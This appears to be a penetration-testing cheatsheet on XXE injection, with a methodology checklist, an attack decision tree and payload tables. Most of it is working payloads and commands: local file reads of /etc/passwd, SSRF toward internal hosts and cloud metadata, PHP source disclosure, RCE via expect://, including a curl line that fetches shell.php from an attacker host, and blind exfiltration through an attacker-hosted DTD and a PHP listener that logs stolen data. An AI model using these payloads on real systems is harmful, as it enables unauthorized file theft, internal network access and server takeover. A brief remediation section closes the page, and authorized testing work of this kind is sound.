π‘οΈ Methodology Checklist
- Identify XML input (SOAP, REST with XML body, file upload parsing XML)
- Test basic XXE:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> - Read internal file via XXE entity
- SSRF via XXE:
<!ENTITY xxe SYSTEM "http://[INTERNAL_HOST]/"> - OOB exfil (blind XXE): DNS callback
SYSTEM "http://[BURP_COLLAB]/?data=%26xxe;" - Error-based XXE for blind exfil
- DoS test (Billion Laughs) β only in isolated test environments
- Document XML injection point and data exposed
π― Operational Context
Use when: Application processes XML input β inject external entity references to read local files, perform SSRF, or achieve RCE via PHP expect.
Think Dumber First: Add DOCTYPE with external entity to any XML body. If you get a response with file contents, itβs vulnerable. <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo> is the baseline test payload.
Skip when: Application uses JSON β XXE only affects XML parsers; check if endpoint accepts XML via Content-Type switching before assuming it doesnβt.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
<?xml version="1.0"?><!DOCTYPE email [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><email>&xxe;</email></root> | Basic XXE LFI β read local file via reflected field |
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> | PHP source disclosure via filter (avoids XML-breaking chars) |
<!ENTITY xxe SYSTEM "expect://id"> | RCE via expect:// (requires PHP expect module) |
<!ENTITY xxe SYSTEM "http://[LHOST]/"> | SSRF β server initiates outbound HTTP to attacker |
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd && python3 -m http.server 80 | Host CDATA external DTD for non-PHP source extraction |
php -S 0.0.0.0:[LPORT] | Start PHP listener to catch OOB exfiltration callbacks |
ruby XXEinjector.rb --host=[LHOST] --httpport=[LPORT] --file=req.txt --path=/etc/passwd --oob=http --phpfilter | Automated OOB XXE exfiltration |
cat Logs/[TARGET_IP]/etc/passwd.log | Read XXEinjector exfiltrated loot |
echo "[B64]" | base64 -d | Decode base64 PHP source or OOB exfiltrated data |
π¬ Deep Dive & Workflow
Attack Decision Tree
Application reflects XML field in response?
βββ Yes β Standard LFI:
β <!ENTITY xxe SYSTEM "file:///etc/passwd">
β Reference: &xxe; in reflected field
β
βββ File contains XML-breaking chars (PHP source)?
β βββ PHP target β php://filter/convert.base64-encode/resource=file.php
β βββ Non-PHP β CDATA bypass via external DTD (below)
β
βββ App shows verbose errors but no output?
β βββ Error-based XXE: host xxe.dtd with %nonExistingEntity;/%file; trap
β
βββ Completely blind (no output, no errors)?
βββ OOB HTTP exfiltration via external DTD + php://filter base64
Basic Payload Template
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>test</name>
<email>&xxe;</email>
</root>Finding the reflected field: Test with <!ENTITY test "hello"> β whichever field shows βhelloβ in the response is your exfil channel.
PHP Source Disclosure (Base64 Bypass)
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">Copy base64 from response β echo "PD9waHAK..." | base64 -d β PHP source reveals DB creds.
Critical: Use Ctrl+U (raw source) to copy β browser truncates long base64.
CDATA Bypass (Non-PHP Targets)
# 1. Create external DTD on attacker machine
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 80
# 2. Payload references external DTD<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://[LHOST]/xxe.dtd">
%xxe;
]>
<root><email>&joined;</email></root>Error-Based XXE (Semi-Blind)
cat > xxe.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
EOF
python3 -m http.server 80<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://[LHOST]/xxe.dtd">
%remote;
%error;
]>
<root><email>test@test.com</email></root>Server tries to resolve invalid path containing file contents β dumps file in error message.
Blind OOB Exfiltration (Fully Blind)
<!-- index.php on attacker machine -->
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?><!-- xxe.dtd on attacker machine -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://[LHOST]:[LPORT]/?content=%file;'>"><!-- Trigger payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://[LHOST]:[LPORT]/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>JSON β XML Smuggling
If app expects JSON: change Content-Type: application/json β application/xml, convert payload to XML, test for XXE.
Key Pitfalls
| Issue | Fix |
|---|---|
File has < or & β parser crash | Use php://filter base64 or CDATA method |
| OOB payload gets no hits | Try ports 80, 443, 53 β egress may be filtered |
| Error-based truncates file | Only works for short files; use OOB for large ones |
expect:// spaces crash parser | Use $IFS: expect://curl$IFS-O$IFS'[LHOST]/shell.php' |
Parameter entity % in body | % entities only valid inside <!DOCTYPE> block |
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| XXE response empty | Blind XXE | Use OOB: <!ENTITY xxe SYSTEM 'http://[LHOST]/?x='>; check Burp Collaborator for DNS/HTTP requests |
| DOCTYPE stripped | Server-side XML schema validation | Try parameter entity: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM 'http://[LHOST]/evil.dtd'> %xxe;]> |
| File read returns empty for /etc/shadow | Insufficient app permissions | Try: /etc/passwd, /proc/self/environ, application config files instead |
| JSON endpoint β XXE not applicable | JSON parser, not XML | Switch Content-Type: application/xml; some APIs accept both; test XML payload |
| SSRF via XXE blocked | Internal network not accessible | Try localhost services: http://127.0.0.1:8080/, http://169.254.169.254/ (AWS metadata) |
π Reporting Trigger
Finding Title: XML External Entity Injection Enables Local File Read
Impact: XXE vulnerability allows reading arbitrary server files by injecting external entity references into XML payloads, exposing credentials, private keys, and sensitive configuration files accessible to the application process.
Root Cause: XML parser configured to process external entity declarations. User-controlled XML processed without disabling external entity resolution.
Recommendation: Disable external entity processing in XML parser configuration (set FEATURE_EXTERNAL_GENERAL_ENTITIES to false). Use JSON instead of XML where possible. Validate and sanitize XML input. Deploy WAF rules for XXE patterns.